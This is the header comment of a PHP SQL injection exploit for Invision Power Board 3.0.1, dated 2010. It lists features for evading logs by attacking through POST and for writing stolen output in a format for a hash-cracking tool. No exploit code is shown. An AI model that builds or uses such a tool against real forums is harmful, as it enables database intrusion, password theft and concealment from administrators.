// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
